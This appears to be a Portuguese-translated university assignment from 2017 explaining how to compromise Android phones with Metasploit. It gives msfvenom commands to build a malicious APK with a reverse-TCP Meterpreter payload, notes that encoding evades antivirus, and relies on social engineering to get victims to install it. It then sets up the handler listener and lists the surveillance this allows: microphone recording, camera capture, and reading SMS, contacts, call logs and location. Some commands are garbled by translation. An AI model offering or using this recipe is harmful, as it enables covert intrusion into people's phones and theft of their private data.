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Hackeando Android com Metasploit: Guia Prático

Este documento descreve como hackear dispositivos Android utilizando Metasploit. Explica os passos para criar um arquivo APK malicioso com msfvenom que implemente um payload Meterpreter reverso para estabelecer uma sessão remota a partir do Kali. Em seguida, descreve como configurar o Metasploit no Kali para escutar a conexão reversa e obter acesso remoto ao sistema do dispositivo Android uma vez que a vítima execute o APK malicioso.

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Hackeando Android com Metasploit: Guia Prático

Este documento descreve como hackear dispositivos Android utilizando Metasploit. Explica os passos para criar um arquivo APK malicioso com msfvenom que implemente um payload Meterpreter reverso para estabelecer uma sessão remota a partir do Kali. Em seguida, descreve como configurar o Metasploit no Kali para escutar a conexão reversa e obter acesso remoto ao sistema do dispositivo Android uma vez que a vítima execute o APK malicioso.

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Universidade Nacional Autónoma da Nicarágua

UNAN-LEÓN

Carrera: Engenharia em sistemas de informação.


Componente: Introdução à segurança em redes
Hackeando Android com Metasploit
Dennis Espinoza
1
12 de julho de 2017.

Integrante
Br. Maria Narváez Argeñal.
Br. Luis Ángel Vallecillo Dávila

À liberdade pela Universidade!


Metasploit é um projeto de código aberto de segurança da informação que fornece informações
acerca de vulnerabilidades de segurança e é muito útil durante os testes de penetração ou
pentesting. O projeto mais conhecido é o Metasploit Framework, uma ferramenta para
desenvolver e executar exploits (fragmento de software, fragmento de dados ou sequência de
comandos e/ou ações utilizadas com o objetivo de aproveitar uma vulnerabilidade de segurança de
um sistema de informação) contra uma máquina remota. Outras das funcionalidades deste
ferramenta são: banco de dados de payload, ferramentas para coletar informações e
escanear em busca de vulnerabilidades.

Os passos básicos a seguir para explorar vulnerabilidades usando Metasploit são:

Escolher e configurar o exploit (como dissemos, código que permite explorar a


vulnerabilidade de um sistema.
Confirmar se o alvo é suscetível ao exploit escolhido (este passo é opcional).
Escolher e configurar a carga (código que é executado uma vez que exploramos a
vulnerabilidade).
Escolher a técnica de encode ou codificação para que o payload não seja detectado
pelos elementos de segurança do equipamento (também é opcional embora
recomendável).
Executar o exploit.

Para a realização dessas e outras ações, o Metasploit incorpora os seguintes


ferramentas

msfconsole: linha de comandos do Metasploit.


msfcli: interface que permite lançar um módulo concreto através da sua configuração
na mesma execução do aplicativo.
msfgui: interface gráfica do Metasploit.
msfd:serviço que fica esperando receber conexões para oferecer uma linha
de comandos em remoto.
msfbinscan: permite realizar buscas em executáveis de instruções de salto,
instruções POP
msfpescan: permite realizar uma análise sobre DLLs e obter o endereço de
retorno desejada para que a shellcode seja executada.
msfpayload: permite gerar payloads em diferentes linguagens de programação,
poder embeber-los em executáveis do Windows ou binários do UNIX.
msfencode: permite ofuscar o código do payload para evitar sua detecção.
msfvenom: é a união do msfpayload e do msfencode.
msfupdate: é utilizado para atualizar o framework.

Além dessas ferramentas, o metasploit é composto por diferentes módulos. Estes


módulos são:
Módulo auxiliar: permite a interação de ferramentas externas, como podem
ser scanners de vulnerabilidades, sniffers.
Módulo codificadores: nos proporciona os diferentes algoritmos para codificar e
ofuscar os payloads.
Módulo exploits: aqui se encontram todos os exploits disponíveis no
estrutura.
Módulo payloads: multidão de códigos que se executam uma vez que tenha sucesso o
explorar.
Módulo post: funcionalidades para a fase de pós-explotação durante um
pentesting.
Módulo nops: permite realizar u obtener operações nop.

Explorando vulnerabilidade Android.

Como é de conhecimento público, o sistema operacional Android cobre aproximadamente


85% do mercado, superando a Apple e Windows Phone. Por isso é tão importante
mostrar alguns dos ataques que podem ser realizados para tomar consciência de
segurança dos dispositivos e das informações que um usuário expõe em suas
dispositivos.

Com um par de simples linhas de comandos e um pouco de engenharia social podemos


acessar um dispositivo Android.

PRECISAMOS:

1.1 Máquina Virtual com KALI (vamos usar o Metasploit)


2.1 Máquina Virtual com Android ou 1 Dispositivo android

Criamos o arquivo malicioso, para isso usamos o MSFVENOM a partir de uma


terminal

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_KALI


LPORT=Puerto_KALI R > /Escritorio/[Link]

-msfvenom é a união do msfpayload e do msfencode, o msfpayload se encarrega de


gerar payloads para diferentes plataformas, enquanto o msfencode se encarrega
de codificar esses payloads com o objetivo de evadir a detecção através do
uso de antivírus.

- Mediante a bandeira-pespecificaremos que se fará uso de um Payload com o qual


atacaremos nosso telefone alvo, no nosso caso:meterpreter.

-Payloades uma função que possui certa ameaça em particular. Refira-se a


ações adicionais, incluídas em vírus, worms e trojans. Um payload não é
não necessariamente maligno, mas também se refere a efeitos colaterais
nocivos para o computador
- O seguinte neste comando foi selecionar o Stager (é responsável por
baixar um payload (a etapa), injetando-o na memória, e passando a
execução a ela.) a utilizar, neste caso usamosreverse_tcp, o qual nos
permitirá reservar uma zona na memória e realizar uma conexão. Nesta zona é
onde se guarda o Payload que geraremos.

- LHOSTyLPORTsão basicamente o IP e a porta onde receberemos os dados


enviados remotamente pelo telefone atacado. O Porto pode ser à escolha
própria, neste caso foi escolhido o Porto 443 de maneira aleatória.

- Finalmente através da bandeiraR > <lugar onde guardaremos o


apk>/<nome apk>.apk,especificaremos onde ficará alojado nosso
apk e o nome deste.

(Opcional)
msfvenom: Indicar que utilizaremos Metasploit para o ataque.
-p: Indica ao msfvenom que utilizaremos um payload.
android/meterpreter/reverse_tcp: Utilizaremos meterpreter por meio de uma
conexão reversa, isso quer dizer que é o dispositivo vícima que abrirá com
nós uma sessão em Meterpreter.
lhost: Indica o host do "vírus", neste caso indicamos nosso IP privado, aquele que
nos dá o Roteador para nos identificarmos dentro do host.
lport: É a porta que utilizaremos para o ataque, tente não usar portas
normalmente usados como 80,4444, já que pode estar sendo utilizado.

No nosso caso ficará da seguinte maneira.

O próximo é deixar "ouvindo" desde KALI até que a vítima execute a


aplicação, para isso abrimos o METASPLOIT e o configuramos da seguinte forma
maneira
msfconsole

use exploit/multi/handler

definir payload android/meterpreter/reverse_tcp

defina LHOST IP_KALI

definir LPORT Puerto_KALI

explorar

Com isso temos uma sessão de Meterpreter conectada à nossa vítima, neste
caso se pode ver que o comando “sysinfo”
Com o comando HELP podemos ver quais ações podemos fazer no
dispositivo, muitas das ações já foram explicadas em POSTs anteriores,
mas as ações particulares do Android são:

Gravar com o Microfone


Tomar fotos com ambas as câmeras (Frontal e Traseira)
Fazer streaming a partir da câmera selecionada
Verificar se o dispositivo esROOTEADO
Obter a lista de chamadas
Obter a lista de Contatos
Obter os SMS
Obter a Localização do Dispositivo
Enviar SMS
Entre outras coisas...

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